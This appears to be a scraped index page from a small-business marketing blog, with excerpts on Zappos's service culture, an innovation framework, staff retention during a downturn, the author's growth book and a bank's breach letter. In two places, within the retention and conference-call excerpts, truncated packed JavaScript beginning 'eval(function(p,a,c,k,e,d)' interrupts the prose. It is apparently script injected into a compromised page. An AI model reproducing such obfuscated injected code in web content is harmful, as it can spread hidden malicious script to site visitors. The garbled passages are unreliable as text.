How can a shuttle driver affect a company's valuation and brand?

In every way you can imagine.

Jo_zapposI had the pleasure today of visiting Zappos in Henderson, Nevada.  My first exposure to the Zappos Way arrived at my hotel doorstep.  She drove the Zappos shuttle, and her name is Jo.  Her passion for Zappos' culture and values was downright infectious. 

Listen to what Jo had to say about Zappos values, and why she loves working  there.

Well worth the 3 minutes.
Click to watch Jo from Zappos Video here.

Is your business growth outpacing your strategic marketing plan?

This is good news and bad news…

The good news is that you are probably too busy delivering great services and products to your clients. You just cannot find that precious time to work ON your business.

The bad news is that your website is probably giving people an impression of your former self.

I recently interviewed Chad Barr of CB Software Systems.  He and his savvy web team are helping dozens of high performing growth companies leverage technology to market their firm.  His clients include Alan Weiss of Summit Consulting Group – a true pioneer in building online communities and powerful content.

How do you drive innovation and better serve your clients during an economic downturn?

I recommend you apply the simple yet profound “123 Framework” from Vijay Govindarajan, Professor, Dartmouth School of Business.

  3 BOXES

Have you announced layoffs?  Are your people doing the jobs of several people? Worried they will resign when times improve?
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
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You should be.

But wait–Inc. Magazine provides inspiration.  Listen to these 8 tips from 8 CEOs on how to keep your best people in the downturn, and get the most from your people:

(My favorite tips come from Chip Conley and Barbara Corcoran):

Which tip will you try in your next team meeting?…

Many of you are asking about my book. Who will benefit? Why should I read it?  How many cases of books should I order (ok, maybe they are not asking that…YET!). 

Information Strategies' Small Business Digest recently interviewed me to learn more about "EnergizeGrowth NOW:  The Marketing Guide to a Wealthy Company. "These excerpts will give you some ideas on what motivated me to write the book and who will benefit the most from it.

SmallBusinessDigest

Today I hosted a worldwide conference call for my private newsletter subscribers and clients. This information-packed call provides you with:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“
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Five reasons why companies will fail during this recession
The true definition of a wealthy business
Five strategies to guarantee profitable growth in 2009 (a MUST for any business owner)
My latest group offering for peer groups for business owners –

Whenever you launch a new growth plan, expect the unexpected.

You WILL meet resistance.  Some of it is obvious; some of it clandestine. And the latter is the biggest threat of all.

Understanding the potential forms of resistance may save your plan from becoming yet another academic exercise that leads to nowhere.

During difficult economic times, executives tend to obsess over key performance indicators and profitability to keep their companies humming.  And rightly so. 

However, in many cases, company performance dashboards can give you a false sense of security.  If you think they are the ultimate source of predicting customer loyalty and growth, you will be disappointed—and your dashboard will break.

Have you ever received a completely cryptic letter from your bank warning you about a potential security breach of your account?
I certainly have–and it really drove me crazy. 
First, the letter contained no salutation–only a fraction of our account number.  What a great way to emotionally bond with your customer.
Then the letter read:
"In our ongoing commitment to your security and privacy, we are writing to inform you that we have been advised of a potential compromise of your check card.  Heartland Payment Systems, Inc., a card payment processor of over 100 million transactions per month, informed us of a potential security issue that may include your VISA check card number."

My EnergizeGrowth NOW book project gave me an incredible opportunity to hobnob with today’s greatest CEOs, authors, and speakers.  Jim Cathcart falls squarely in that category.
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When we recently connected, we learned that we shared something in common.  We both hear the same question from our audiences, prospects, and clients:  “…